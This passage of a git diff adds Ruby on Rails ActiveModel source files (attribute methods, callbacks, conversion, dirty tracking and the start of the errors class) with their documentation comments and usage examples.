+      #     attr_accessor :name
+      #     attribute_method_suffix '_short?'
+      #     define_attribute_methods :name
+      #
+      #     alias_attribute :nickname, :name
+      #
+      #     private
+      #
+      #     def attribute_short?(attr)
+      #       send(attr).length < 5
+      #     end
+      #   end
+      #
+      #   person = Person.new
+      #   person.name = 'Bob'
+      #   person.name            # => "Bob"
+      #   person.nickname        # => "Bob"
+      #   person.name_short?     # => true
+      #   person.nickname_short? # => true
+      def alias_attribute(new_name, old_name)
+        self.attribute_aliases = attribute_aliases.merge(new_name.to_s => old_name.to_s)
+        attribute_method_matchers.each do |matcher|
+          matcher_new = matcher.method_name(new_name).to_s
+          matcher_old = matcher.method_name(old_name).to_s
+          define_proxy_call false, self, matcher_new, matcher_old
+        end
+      end
+
+      # Is +new_name+ an alias?
+      def attribute_alias?(new_name)
+        attribute_aliases.key? new_name.to_s
+      end
+
+      # Returns the original name for the alias +name+
+      def attribute_alias(name)
+        attribute_aliases[name.to_s]
+      end
+
+      # Declares the attributes that should be prefixed and suffixed by
+      # <tt>ActiveModel::AttributeMethods</tt>.
+      #
+      # To use, pass attribute names (as strings or symbols). Be sure to declare
+      # +define_attribute_methods+ after you define any prefix, suffix or affix
+      # methods, or they will not hook in.
+      #
+      #   class Person
+      #     include ActiveModel::AttributeMethods
+      #
+      #     attr_accessor :name, :age, :address
+      #     attribute_method_prefix 'clear_'
+      #
+      #     # Call to define_attribute_methods must appear after the
+      #     # attribute_method_prefix, attribute_method_suffix or
+      #     # attribute_method_affix declarations.
+      #     define_attribute_methods :name, :age, :address
+      #
+      #     private
+      #
+      #     def clear_attribute(attr)
+      #       send("#{attr}=", nil)
+      #     end
+      #   end
+      def define_attribute_methods(*attr_names)
+        attr_names.flatten.each { |attr_name| define_attribute_method(attr_name) }
+      end
+
+      # Declares an attribute that should be prefixed and suffixed by
+      # <tt>ActiveModel::AttributeMethods</tt>.
+      #
+      # To use, pass an attribute name (as string or symbol). Be sure to declare
+      # +define_attribute_method+ after you define any prefix, suffix or affix
+      # method, or they will not hook in.
+      #
+      #   class Person
+      #     include ActiveModel::AttributeMethods
+      #
+      #     attr_accessor :name
+      #     attribute_method_suffix '_short?'
+      #
+      #     # Call to define_attribute_method must appear after the
+      #     # attribute_method_prefix, attribute_method_suffix or
+      #     # attribute_method_affix declarations.
+      #     define_attribute_method :name
+      #
+      #     private
+      #
+      #     def attribute_short?(attr)
+      #       send(attr).length < 5
+      #     end
+      #   end
+      #
+      #   person = Person.new
+      #   person.name = 'Bob'
+      #   person.name        # => "Bob"
+      #   person.name_short? # => true
+      def define_attribute_method(attr_name)
+        attribute_method_matchers.each do |matcher|
+          method_name = matcher.method_name(attr_name)
+
+          unless instance_method_already_implemented?(method_name)
+            generate_method = "define_method_#{matcher.method_missing_target}"
+
+            if respond_to?(generate_method, true)
+              send(generate_method, attr_name.to_s)
+            else
+              define_proxy_call true, generated_attribute_methods, method_name, matcher.method_missing_target, attr_name.to_s
+            end
+          end
+        end
+        attribute_method_matchers_cache.clear
+      end
+
+      # Removes all the previously dynamically defined methods from the class.
+      #
+      #   class Person
+      #     include ActiveModel::AttributeMethods
+      #
+      #     attr_accessor :name
+      #     attribute_method_suffix '_short?'
+      #     define_attribute_method :name
+      #
+      #     private
+      #
+      #     def attribute_short?(attr)
+      #       send(attr).length < 5
+      #     end
+      #   end
+      #
+      #   person = Person.new
+      #   person.name = 'Bob'
+      #   person.name_short? # => true
+      #
+      #   Person.undefine_attribute_methods
+      #
+      #   person.name_short? # => NoMethodError
+      def undefine_attribute_methods
+        generated_attribute_methods.module_eval do
+          instance_methods.each { |m| undef_method(m) }
+        end
+        attribute_method_matchers_cache.clear
+      end
+
+      private
+        def generated_attribute_methods
+          @generated_attribute_methods ||= Module.new.tap { |mod| include mod }
+        end
+
+        def instance_method_already_implemented?(method_name)
+          generated_attribute_methods.method_defined?(method_name)
+        end
+
+        # The methods +method_missing+ and +respond_to?+ of this module are
+        # invoked often in a typical rails, both of which invoke the method
+        # +matched_attribute_method+. The latter method iterates through an
+        # array doing regular expression matches, which results in a lot of
+        # object creations. Most of the time it returns a +nil+ match. As the
+        # match result is always the same given a +method_name+, this cache is
+        # used to alleviate the GC, which ultimately also speeds up the app
+        # significantly (in our case our test suite finishes 10% faster with
+        # this cache).
+        def attribute_method_matchers_cache
+          @attribute_method_matchers_cache ||= Concurrent::Map.new(initial_capacity: 4)
+        end
+
+        def attribute_method_matchers_matching(method_name)
+          attribute_method_matchers_cache.compute_if_absent(method_name) do
+            # Must try to match prefixes/suffixes first, or else the matcher with no prefix/suffix
+            # will match every time.
+            matchers = attribute_method_matchers.partition(&:plain?).reverse.flatten(1)
+            matchers.map { |method| method.match(method_name) }.compact
+          end
+        end
+
+        # Define a method `name` in `mod` that dispatches to `send`
+        # using the given `extra` args. This falls back on `define_method`
+        # and `send` if the given names cannot be compiled.
+        def define_proxy_call(include_private, mod, name, send, *extra)
+          defn = if NAME_COMPILABLE_REGEXP.match?(name)
+            "def #{name}(*args)"
+          else
+            "define_method(:'#{name}') do |*args|"
+          end
+
+          extra = (extra.map!(&:inspect) << "*args").join(", ".freeze)
+
+          target = if CALL_COMPILABLE_REGEXP.match?(send)
+            "#{"self." unless include_private}#{send}(#{extra})"
+          else
+            "send(:'#{send}', #{extra})"
+          end
+
+          mod.module_eval <<-RUBY, __FILE__, __LINE__ + 1
+            #{defn}
+              #{target}
+            end
+          RUBY
+        end
+
+        class AttributeMethodMatcher #:nodoc:
+          attr_reader :prefix, :suffix, :method_missing_target
+
+          AttributeMethodMatch = Struct.new(:target, :attr_name, :method_name)
+
+          def initialize(options = {})
+            @prefix, @suffix = options.fetch(:prefix, ""), options.fetch(:suffix, "")
+            @regex = /^(?:#{Regexp.escape(@prefix)})(.*)(?:#{Regexp.escape(@suffix)})$/
+            @method_missing_target = "#{@prefix}attribute#{@suffix}"
+            @method_name = "#{prefix}%s#{suffix}"
+          end
+
+          def match(method_name)
+            if @regex =~ method_name
+              AttributeMethodMatch.new(method_missing_target, $1, method_name)
+            end
+          end
+
+          def method_name(attr_name)
+            @method_name % attr_name
+          end
+
+          def plain?
+            prefix.empty? && suffix.empty?
+          end
+        end
+    end
+
+    # Allows access to the object attributes, which are held in the hash
+    # returned by <tt>attributes</tt>, as though they were first-class
+    # methods. So a +Person+ class with a +name+ attribute can for example use
+    # <tt>Person#name</tt> and <tt>Person#name=</tt> and never directly use
+    # the attributes hash -- except for multiple assignments with
+    # <tt>ActiveRecord::Base#attributes=</tt>.
+    #
+    # It's also possible to instantiate related objects, so a <tt>Client</tt>
+    # class belonging to the +clients+ table with a +master_id+ foreign key
+    # can instantiate master through <tt>Client#master</tt>.
+    def method_missing(method, *args, &block)
+      if respond_to_without_attributes?(method, true)
+        super
+      else
+        match = matched_attribute_method(method.to_s)
+        match ? attribute_missing(match, *args, &block) : super
+      end
+    end
+
+    # +attribute_missing+ is like +method_missing+, but for attributes. When
+    # +method_missing+ is called we check to see if there is a matching
+    # attribute method. If so, we tell +attribute_missing+ to dispatch the
+    # attribute. This method can be overloaded to customize the behavior.
+    def attribute_missing(match, *args, &block)
+      __send__(match.target, match.attr_name, *args, &block)
+    end
+
+    # A +Person+ instance with a +name+ attribute can ask
+    # <tt>person.respond_to?(:name)</tt>, <tt>person.respond_to?(:name=)</tt>,
+    # and <tt>person.respond_to?(:name?)</tt> which will all return +true+.
+    alias :respond_to_without_attributes? :respond_to?
+    def respond_to?(method, include_private_methods = false)
+      if super
+        true
+      elsif !include_private_methods && super(method, true)
+        # If we're here then we haven't found among non-private methods
+        # but found among all methods. Which means that the given method is private.
+        false
+      else
+        !matched_attribute_method(method.to_s).nil?
+      end
+    end
+
+    private
+      def attribute_method?(attr_name)
+        respond_to_without_attributes?(:attributes) && attributes.include?(attr_name)
+      end
+
+      # Returns a struct representing the matching attribute method.
+      # The struct's attributes are prefix, base and suffix.
+      def matched_attribute_method(method_name)
+        matches = self.class.send(:attribute_method_matchers_matching, method_name)
+        matches.detect { |match| attribute_method?(match.attr_name) }
+      end
+
+      def missing_attribute(attr_name, stack)
+        raise ActiveModel::MissingAttributeError, "missing attribute: #{attr_name}", stack
+      end
+
+      def _read_attribute(attr)
+        __send__(attr)
+      end
+  end
+end
diff --git a/activemodel/lib/active_model/callbacks.rb b/activemodel/lib/active_model/callbacks.rb
new file mode 100644
index 0000000000..5768eec7f5
--- /dev/null
+++ b/activemodel/lib/active_model/callbacks.rb
@@ -0,0 +1,153 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/array/extract_options"
+
+module ActiveModel
+  # == Active \Model \Callbacks
+  #
+  # Provides an interface for any class to have Active Record like callbacks.
+  #
+  # Like the Active Record methods, the callback chain is aborted as soon as
+  # one of the methods throws +:abort+.
+  #
+  # First, extend ActiveModel::Callbacks from the class you are creating:
+  #
+  #   class MyModel
+  #     extend ActiveModel::Callbacks
+  #   end
+  #
+  # Then define a list of methods that you want callbacks attached to:
+  #
+  #   define_model_callbacks :create, :update
+  #
+  # This will provide all three standard callbacks (before, around and after)
+  # for both the <tt>:create</tt> and <tt>:update</tt> methods. To implement,
+  # you need to wrap the methods you want callbacks on in a block so that the
+  # callbacks get a chance to fire:
+  #
+  #   def create
+  #     run_callbacks :create do
+  #       # Your create action methods here
+  #     end
+  #   end
+  #
+  # Then in your class, you can use the +before_create+, +after_create+ and
+  # +around_create+ methods, just as you would in an Active Record model.
+  #
+  #   before_create :action_before_create
+  #
+  #   def action_before_create
+  #     # Your code here
+  #   end
+  #
+  # When defining an around callback remember to yield to the block, otherwise
+  # it won't be executed:
+  #
+  #  around_create :log_status
+  #
+  #  def log_status
+  #    puts 'going to call the block...'
+  #    yield
+  #    puts 'block successfully called.'
+  #  end
+  #
+  # You can choose to have only specific callbacks by passing a hash to the
+  # +define_model_callbacks+ method.
+  #
+  #   define_model_callbacks :create, only: [:after, :before]
+  #
+  # Would only create the +after_create+ and +before_create+ callback methods in
+  # your class.
+  #
+  # NOTE: Calling the same callback multiple times will overwrite previous callback definitions.
+  #
+  module Callbacks
+    def self.extended(base) #:nodoc:
+      base.class_eval do
+        include ActiveSupport::Callbacks
+      end
+    end
+
+    # define_model_callbacks accepts the same options +define_callbacks+ does,
+    # in case you want to overwrite a default. Besides that, it also accepts an
+    # <tt>:only</tt> option, where you can choose if you want all types (before,
+    # around or after) or just some.
+    #
+    #   define_model_callbacks :initializer, only: :after
+    #
+    # Note, the <tt>only: <type></tt> hash will apply to all callbacks defined
+    # on that method call. To get around this you can call the define_model_callbacks
+    # method as many times as you need.
+    #
+    #   define_model_callbacks :create,  only: :after
+    #   define_model_callbacks :update,  only: :before
+    #   define_model_callbacks :destroy, only: :around
+    #
+    # Would create +after_create+, +before_update+ and +around_destroy+ methods
+    # only.
+    #
+    # You can pass in a class to before_<type>, after_<type> and around_<type>,
+    # in which case the callback will call that class's <action>_<type> method
+    # passing the object that the callback is being called on.
+    #
+    #   class MyModel
+    #     extend ActiveModel::Callbacks
+    #     define_model_callbacks :create
+    #
+    #     before_create AnotherClass
+    #   end
+    #
+    #   class AnotherClass
+    #     def self.before_create( obj )
+    #       # obj is the MyModel instance that the callback is being called on
+    #     end
+    #   end
+    #
+    # NOTE: +method_name+ passed to `define_model_callbacks` must not end with
+    # `!`, `?` or `=`.
+    def define_model_callbacks(*callbacks)
+      options = callbacks.extract_options!
+      options = {
+        skip_after_callbacks_if_terminated: true,
+        scope: [:kind, :name],
+        only: [:before, :around, :after]
+      }.merge!(options)
+
+      types = Array(options.delete(:only))
+
+      callbacks.each do |callback|
+        define_callbacks(callback, options)
+
+        types.each do |type|
+          send("_define_#{type}_model_callback", self, callback)
+        end
+      end
+    end
+
+    private
+
+      def _define_before_model_callback(klass, callback)
+        klass.define_singleton_method("before_#{callback}") do |*args, &block|
+          set_callback(:"#{callback}", :before, *args, &block)
+        end
+      end
+
+      def _define_around_model_callback(klass, callback)
+        klass.define_singleton_method("around_#{callback}") do |*args, &block|
+          set_callback(:"#{callback}", :around, *args, &block)
+        end
+      end
+
+      def _define_after_model_callback(klass, callback)
+        klass.define_singleton_method("after_#{callback}") do |*args, &block|
+          options = args.extract_options!
+          options[:prepend] = true
+          conditional = ActiveSupport::Callbacks::Conditionals::Value.new { |v|
+            v != false
+          }
+          options[:if] = Array(options[:if]) << conditional
+          set_callback(:"#{callback}", :after, *(args << options), &block)
+        end
+      end
+  end
+end
diff --git a/activemodel/lib/active_model/conversion.rb b/activemodel/lib/active_model/conversion.rb
new file mode 100644
index 0000000000..cdc1282817
--- /dev/null
+++ b/activemodel/lib/active_model/conversion.rb
@@ -0,0 +1,111 @@
+# frozen_string_literal: true
+
+module ActiveModel
+  # == Active \Model \Conversion
+  #
+  # Handles default conversions: to_model, to_key, to_param, and to_partial_path.
+  #
+  # Let's take for example this non-persisted object.
+  #
+  #   class ContactMessage
+  #     include ActiveModel::Conversion
+  #
+  #     # ContactMessage are never persisted in the DB
+  #     def persisted?
+  #       false
+  #     end
+  #   end
+  #
+  #   cm = ContactMessage.new
+  #   cm.to_model == cm  # => true
+  #   cm.to_key          # => nil
+  #   cm.to_param        # => nil
+  #   cm.to_partial_path # => "contact_messages/contact_message"
+  module Conversion
+    extend ActiveSupport::Concern
+
+    # If your object is already designed to implement all of the \Active \Model
+    # you can use the default <tt>:to_model</tt> implementation, which simply
+    # returns +self+.
+    #
+    #   class Person
+    #     include ActiveModel::Conversion
+    #   end
+    #
+    #   person = Person.new
+    #   person.to_model == person # => true
+    #
+    # If your model does not act like an \Active \Model object, then you should
+    # define <tt>:to_model</tt> yourself returning a proxy object that wraps
+    # your object with \Active \Model compliant methods.
+    def to_model
+      self
+    end
+
+    # Returns an Array of all key attributes if any of the attributes is set, whether or not
+    # the object is persisted. Returns +nil+ if there are no key attributes.
+    #
+    #   class Person
+    #     include ActiveModel::Conversion
+    #     attr_accessor :id
+    #
+    #     def initialize(id)
+    #       @id = id
+    #     end
+    #   end
+    #
+    #   person = Person.new(1)
+    #   person.to_key # => [1]
+    def to_key
+      key = respond_to?(:id) && id
+      key ? [key] : nil
+    end
+
+    # Returns a +string+ representing the object's key suitable for use in URLs,
+    # or +nil+ if <tt>persisted?</tt> is +false+.
+    #
+    #   class Person
+    #     include ActiveModel::Conversion
+    #     attr_accessor :id
+    #
+    #     def initialize(id)
+    #       @id = id
+    #     end
+    #
+    #     def persisted?
+    #       true
+    #     end
+    #   end
+    #
+    #   person = Person.new(1)
+    #   person.to_param # => "1"
+    def to_param
+      (persisted? && key = to_key) ? key.join("-") : nil
+    end
+
+    # Returns a +string+ identifying the path associated with the object.
+    # ActionPack uses this to find a suitable partial to represent the object.
+    #
+    #   class Person
+    #     include ActiveModel::Conversion
+    #   end
+    #
+    #   person = Person.new
+    #   person.to_partial_path # => "people/person"
+    def to_partial_path
+      self.class._to_partial_path
+    end
+
+    module ClassMethods #:nodoc:
+      # Provide a class level cache for #to_partial_path. This is an
+      # internal method and should not be accessed directly.
+      def _to_partial_path #:nodoc:
+        @_to_partial_path ||= begin
+          element = ActiveSupport::Inflector.underscore(ActiveSupport::Inflector.demodulize(name))
+          collection = ActiveSupport::Inflector.tableize(name)
+          "#{collection}/#{element}".freeze
+        end
+      end
+    end
+  end
+end
diff --git a/activemodel/lib/active_model/dirty.rb b/activemodel/lib/active_model/dirty.rb
new file mode 100644
index 0000000000..943db0ab52
--- /dev/null
+++ b/activemodel/lib/active_model/dirty.rb
@@ -0,0 +1,274 @@
+# frozen_string_literal: true
+
+require "active_support/hash_with_indifferent_access"
+require "active_support/core_ext/object/duplicable"
+
+module ActiveModel
+  # == Active \Model \Dirty
+  #
+  # Provides a way to track changes in your object in the same way as
+  # Active Record does.
+  #
+  # The requirements for implementing ActiveModel::Dirty are:
+  #
+  # * <tt>include ActiveModel::Dirty</tt> in your object.
+  # * Call <tt>define_attribute_methods</tt> passing each method you want to
+  #   track.
+  # * Call <tt>[attr_name]_will_change!</tt> before each change to the tracked
+  #   attribute.
+  # * Call <tt>changes_applied</tt> after the changes are persisted.
+  # * Call <tt>clear_changes_information</tt> when you want to reset the changes
+  #   information.
+  # * Call <tt>restore_attributes</tt> when you want to restore previous data.
+  #
+  # A minimal implementation could be:
+  #
+  #   class Person
+  #     include ActiveModel::Dirty
+  #
+  #     define_attribute_methods :name
+  #
+  #     def initialize
+  #       @name = nil
+  #     end
+  #
+  #     def name
+  #       @name
+  #     end
+  #
+  #     def name=(val)
+  #       name_will_change! unless val == @name
+  #       @name = val
+  #     end
+  #
+  #     def save
+  #       # do persistence work
+  #
+  #       changes_applied
+  #     end
+  #
+  #     def reload!
+  #       # get the values from the persistence layer
+  #
+  #       clear_changes_information
+  #     end
+  #
+  #     def rollback!
+  #       restore_attributes
+  #     end
+  #   end
+  #
+  # A newly instantiated +Person+ object is unchanged:
+  #
+  #   person = Person.new
+  #   person.changed? # => false
+  #
+  # Change the name:
+  #
+  #   person.name = 'Bob'
+  #   person.changed?       # => true
+  #   person.name_changed?  # => true
+  #   person.name_changed?(from: nil, to: "Bob") # => true
+  #   person.name_was       # => nil
+  #   person.name_change    # => [nil, "Bob"]
+  #   person.name = 'Bill'
+  #   person.name_change    # => [nil, "Bill"]
+  #
+  # Save the changes:
+  #
+  #   person.save
+  #   person.changed?      # => false
+  #   person.name_changed? # => false
+  #
+  # Reset the changes:
+  #
+  #   person.previous_changes         # => {"name" => [nil, "Bill"]}
+  #   person.name_previously_changed? # => true
+  #   person.name_previous_change     # => [nil, "Bill"]
+  #   person.reload!
+  #   person.previous_changes         # => {}
+  #
+  # Rollback the changes:
+  #
+  #   person.name = "Uncle Bob"
+  #   person.rollback!
+  #   person.name          # => "Bill"
+  #   person.name_changed? # => false
+  #
+  # Assigning the same value leaves the attribute unchanged:
+  #
+  #   person.name = 'Bill'
+  #   person.name_changed? # => false
+  #   person.name_change   # => nil
+  #
+  # Which attributes have changed?
+  #
+  #   person.name = 'Bob'
+  #   person.changed # => ["name"]
+  #   person.changes # => {"name" => ["Bill", "Bob"]}
+  #
+  # If an attribute is modified in-place then make use of
+  # <tt>[attribute_name]_will_change!</tt> to mark that the attribute is changing.
+  # Otherwise \Active \Model can't track changes to in-place attributes. Note
+  # that Active Record can detect in-place modifications automatically. You do
+  # not need to call <tt>[attribute_name]_will_change!</tt> on Active Record models.
+  #
+  #   person.name_will_change!
+  #   person.name_change # => ["Bill", "Bill"]
+  #   person.name << 'y'
+  #   person.name_change # => ["Bill", "Billy"]
+  module Dirty
+    extend ActiveSupport::Concern
+    include ActiveModel::AttributeMethods
+
+    OPTION_NOT_GIVEN = Object.new # :nodoc:
+    private_constant :OPTION_NOT_GIVEN
+
+    included do
+      attribute_method_suffix "_changed?", "_change", "_will_change!", "_was"
+      attribute_method_suffix "_previously_changed?", "_previous_change"
+      attribute_method_affix prefix: "restore_", suffix: "!"
+    end
+
+    # Returns +true+ if any of the attributes have unsaved changes, +false+ otherwise.
+    #
+    #   person.changed? # => false
+    #   person.name = 'bob'
+    #   person.changed? # => true
+    def changed?
+      changed_attributes.present?
+    end
+
+    # Returns an array with the name of the attributes with unsaved changes.
+    #
+    #   person.changed # => []
+    #   person.name = 'bob'
+    #   person.changed # => ["name"]
+    def changed
+      changed_attributes.keys
+    end
+
+    # Returns a hash of changed attributes indicating their original
+    # and new values like <tt>attr => [original value, new value]</tt>.
+    #
+    #   person.changes # => {}
+    #   person.name = 'bob'
+    #   person.changes # => { "name" => ["bill", "bob"] }
+    def changes
+      ActiveSupport::HashWithIndifferentAccess[changed.map { |attr| [attr, attribute_change(attr)] }]
+    end
+
+    # Returns a hash of attributes that were changed before the model was saved.
+    #
+    #   person.name # => "bob"
+    #   person.name = 'robert'
+    #   person.save
+    #   person.previous_changes # => {"name" => ["bob", "robert"]}
+    def previous_changes
+      @previously_changed ||= ActiveSupport::HashWithIndifferentAccess.new
+    end
+
+    # Returns a hash of the attributes with unsaved changes indicating their original
+    # values like <tt>attr => original value</tt>.
+    #
+    #   person.name # => "bob"
+    #   person.name = 'robert'
+    #   person.changed_attributes # => {"name" => "bob"}
+    def changed_attributes
+      @changed_attributes ||= ActiveSupport::HashWithIndifferentAccess.new
+    end
+
+    # Handles <tt>*_changed?</tt> for +method_missing+.
+    def attribute_changed?(attr, from: OPTION_NOT_GIVEN, to: OPTION_NOT_GIVEN) # :nodoc:
+      !!changes_include?(attr) &&
+        (to == OPTION_NOT_GIVEN || to == _read_attribute(attr)) &&
+        (from == OPTION_NOT_GIVEN || from == changed_attributes[attr])
+    end
+
+    # Handles <tt>*_was</tt> for +method_missing+.
+    def attribute_was(attr) # :nodoc:
+      attribute_changed?(attr) ? changed_attributes[attr] : _read_attribute(attr)
+    end
+
+    # Handles <tt>*_previously_changed?</tt> for +method_missing+.
+    def attribute_previously_changed?(attr) #:nodoc:
+      previous_changes_include?(attr)
+    end
+
+    # Restore all previous data of the provided attributes.
+    def restore_attributes(attributes = changed)
+      attributes.each { |attr| restore_attribute! attr }
+    end
+
+    private
+
+      # Returns +true+ if attr_name is changed, +false+ otherwise.
+      def changes_include?(attr_name)
+        attributes_changed_by_setter.include?(attr_name)
+      end
+      alias attribute_changed_by_setter? changes_include?
+
+      # Returns +true+ if attr_name were changed before the model was saved,
+      # +false+ otherwise.
+      def previous_changes_include?(attr_name)
+        previous_changes.include?(attr_name)
+      end
+
+      # Removes current changes and makes them accessible through +previous_changes+.
+      def changes_applied # :doc:
+        @previously_changed = changes
+        @changed_attributes = ActiveSupport::HashWithIndifferentAccess.new
+      end
+
+      # Clears all dirty data: current changes and previous changes.
+      def clear_changes_information # :doc:
+        @previously_changed = ActiveSupport::HashWithIndifferentAccess.new
+        @changed_attributes = ActiveSupport::HashWithIndifferentAccess.new
+      end
+
+      # Handles <tt>*_change</tt> for +method_missing+.
+      def attribute_change(attr)
+        [changed_attributes[attr], _read_attribute(attr)] if attribute_changed?(attr)
+      end
+
+      # Handles <tt>*_previous_change</tt> for +method_missing+.
+      def attribute_previous_change(attr)
+        previous_changes[attr] if attribute_previously_changed?(attr)
+      end
+
+      # Handles <tt>*_will_change!</tt> for +method_missing+.
+      def attribute_will_change!(attr)
+        return if attribute_changed?(attr)
+
+        begin
+          value = _read_attribute(attr)
+          value = value.duplicable? ? value.clone : value
+        rescue TypeError, NoMethodError
+        end
+
+        set_attribute_was(attr, value)
+      end
+
+      # Handles <tt>restore_*!</tt> for +method_missing+.
+      def restore_attribute!(attr)
+        if attribute_changed?(attr)
+          __send__("#{attr}=", changed_attributes[attr])
+          clear_attribute_changes([attr])
+        end
+      end
+
+      # This is necessary because `changed_attributes` might be overridden in
+      # other implementations (e.g. in `ActiveRecord`)
+      alias_method :attributes_changed_by_setter, :changed_attributes # :nodoc:
+
+      # Force an attribute to have a particular "before" value
+      def set_attribute_was(attr, old_value)
+        attributes_changed_by_setter[attr] = old_value
+      end
+
+      # Remove changes information for the provided attributes.
+      def clear_attribute_changes(attributes) # :doc:
+        attributes_changed_by_setter.except!(*attributes)
+      end
+  end
+end
diff --git a/activemodel/lib/active_model/errors.rb b/activemodel/lib/active_model/errors.rb
new file mode 100644
index 0000000000..c24ae4e430
--- /dev/null
+++ b/activemodel/lib/active_model/errors.rb
@@ -0,0 +1,515 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/array/conversions"
+require "active_support/core_ext/string/inflections"
+require "active_support/core_ext/object/deep_dup"
+require "active_support/core_ext/string/filters"
+
+module ActiveModel
+  # == Active \Model \Errors
+  #
+  # Provides a modified +Hash+ that you can include in your object
+  # for handling error messages and interacting with Action View helpers.
+  #
+  # A minimal implementation could be:
+  #
+  #   class Person
+  #     # Required dependency for ActiveModel::Errors
+  #     extend ActiveModel::Naming
+  #
+  #     def initialize
+  #       @errors = ActiveModel::Errors.new(self)
+  #     end
+  #
+  #     attr_accessor :name
+  #     attr_reader   :errors
+  #
+  #     def validate!
+  #       errors.add(:name, :blank, message: "cannot be nil") if name.nil?
+  #     end
+  #
+  #     # The following methods are needed to be minimally implemented
+  #
+  #     def read_attribute_for_validation(attr)
+  #       send(attr)
+  #     end
+  #
+  #     def self.human_attribute_name(attr, options = {})
+  #       attr
+  #     end
+  #
+  #     def self.lookup_ancestors
+  #       [self]
+  #     end
+  #   end
+  #
+  # The last three methods are required in your object for +Errors+ to be
+  # able to generate error messages correctly and also handle multiple
+  # languages. Of course, if you extend your object with <tt>ActiveModel::Translation</tt>
+  # you will not need to implement the last two. Likewise, using
+  # <tt>ActiveModel::Validations</tt> will handle the validation related methods
+  # for you.
+  #
+  # The above allows you to do:
+  #
+  #   person = Person.new
+  #   person.validate!            # => ["cannot be nil"]
+  #   person.errors.full_messages # => ["name cannot be nil"]
+  #   # etc..
+  class Errors
+    include Enumerable
+
+    CALLBACKS_OPTIONS = [:if, :unless, :on, :allow_nil, :allow_blank, :strict]
+    MESSAGE_OPTIONS = [:message]
+
+    attr_reader :messages, :details
+
+    # Pass in the instance of the object that is using the errors object.
+    #
+    #   class Person
+    #     def initialize
+    #       @errors = ActiveModel::Errors.new(self)
+    #     end
+    #   end
+    def initialize(base)
+      @base     = base
+      @messages = apply_default_array({})
+      @details = apply_default_array({})
+    end
+
+    def initialize_dup(other) # :nodoc:
+      @messages = other.messages.dup
+      @details  = other.details.deep_dup
+      super
+    end
+
+    # Copies the errors from <tt>other</tt>.
+    #
+    # other - The ActiveModel::Errors instance.
+    #
+    # Examples
+    #
+    #   person.errors.copy!(other)
+    def copy!(other) # :nodoc:
+      @messages = other.messages.dup
+      @details  = other.details.dup
+    end
+
+    # Merges the errors from <tt>other</tt>.
+    #
+    # other - The ActiveModel::Errors instance.
+    #
+    # Examples
+    #
+    #   person.errors.merge!(other)
+    def merge!(other)
+      @messages.merge!(other.messages) { |_, ary1, ary2| ary1 + ary2 }
+      @details.merge!(other.details) { |_, ary1, ary2| ary1 + ary2 }
+    end
+
+    # Clear the error messages.
+    #
+    #   person.errors.full_messages # => ["name cannot be nil"]
+    #   person.errors.clear
+    #   person.errors.full_messages # => []
+    def clear
+      messages.clear
+      details.clear
+    end
+
+    # Returns +true+ if the error messages include an error for the given key
+    # +attribute+, +false+ otherwise.
+    #
+    #   person.errors.messages        # => {:name=>["cannot be nil"]}
+    #   person.errors.include?(:name) # => true
+    #   person.errors.include?(:age)  # => false
+    def include?(attribute)
+      attribute = attribute.to_sym
+      messages.key?(attribute) && messages[attribute].present?
+    end
+    alias :has_key? :include?
+    alias :key? :include?
+
+    # Delete messages for +key+. Returns the deleted messages.
+    #
+    #   person.errors[:name]        # => ["cannot be nil"]
+    #   person.errors.delete(:name) # => ["cannot be nil"]
+    #   person.errors[:name]        # => []
+    def delete(key)
+      attribute = key.to_sym
+      details.delete(attribute)
+      messages.delete(attribute)
+    end
+
+    # When passed a symbol or a name of a method, returns an array of errors
+    # for the method.
+    #
+    #   person.errors[:name]  # => ["cannot be nil"]
+    #   person.errors['name'] # => ["cannot be nil"]
+    def [](attribute)
+      messages[attribute.to_sym]
+    end
+
+    # Iterates through each error key, value pair in the error messages hash.
+    # Yields the attribute and the error for that attribute. If the attribute
+    # has more than one error message, yields once for each error message.
+    #
+    #   person.errors.add(:name, :blank, message: "can't be blank")
+    #   person.errors.each do |attribute, error|
+    #     # Will yield :name and "can't be blank"
+    #   end
+    #
+    #   person.errors.add(:name, :not_specified, message: "must be specified")
+    #   person.errors.each do |attribute, error|
+    #     # Will yield :name and "can't be blank"
+    #     # then yield :name and "must be specified"
+    #   end
+    def each
+      messages.each_key do |attribute|
+        messages[attribute].each { |error| yield attribute, error }
+      end
+    end
+
+    # Returns the number of error messages.
+    #
+    #   person.errors.add(:name, :blank, message: "can't be blank")
+    #   person.errors.size # => 1
+    #   person.errors.add(:name, :not_specified, message: "must be specified")
+    #   person.errors.size # => 2
+    def size
+      values.flatten.size
+    end
+    alias :count :size
+
+    # Returns all message values.
+    #
+    #   person.errors.messages # => {:name=>["cannot be nil", "must be specified"]}
+    #   person.errors.values   # => [["cannot be nil", "must be specified"]]
+    def values
+      messages.select do |key, value|
+        !value.empty?
+      end.values
+    end
+
+    # Returns all message keys.
+    #
+    #   person.errors.messages # => {:name=>["cannot be nil", "must be specified"]}
+    #   person.errors.keys     # => [:name]
+    def keys
+      messages.select do |key, value|
+        !value.empty?
+      end.keys
+    end
+
+    # Returns +true+ if no errors are found, +false+ otherwise.
+    # If the error message is a string it can be empty.
+    #
+    #   person.errors.full_messages # => ["name cannot be nil"]
+    #   person.errors.empty?        # => false
+    def empty?
+      size.zero?
+    end
+    alias :blank? :empty?
+
+    # Returns an xml formatted representation of the Errors hash.
+    #
+    #   person.errors.add(:name, :blank, message: "can't be blank")
+    #   person.errors.add(:name, :not_specified, message: "must be specified")
+    #   person.errors.to_xml
+    #   # =>
+    #   #  <?xml version=\"1.0\" encoding=\"UTF-8\"?>
+    #   #  <errors>
+    #   #    <error>name can't be blank</error>
+    #   #    <error>name must be specified</error>
+    #   #  </errors>
+    def to_xml(options = {})
+      to_a.to_xml({ root: "errors", skip_types: true }.merge!(options))
+    end
+
+    # Returns a Hash that can be used as the JSON representation for this
+    # object. You can pass the <tt>:full_messages</tt> option. This determines
+    # if the json object should contain full messages or not (false by default).
+    #
+    #   person.errors.as_json                      # => {:name=>["cannot be nil"]}
+    #   person.errors.as_json(full_messages: true) # => {:name=>["name cannot be nil"]}
+    def as_json(options = nil)
+      to_hash(options && options[:full_messages])
+    end
+
+    # Returns a Hash of attributes with their error messages. If +full_messages+
+    # is +true+, it will contain full messages (see +full_message+).
+    #
+    #   person.errors.to_hash       # => {:name=>["cannot be nil"]}
+    #   person.errors.to_hash(true) # => {:name=>["name cannot be nil"]}
+    def to_hash(full_messages = false)
+      if full_messages
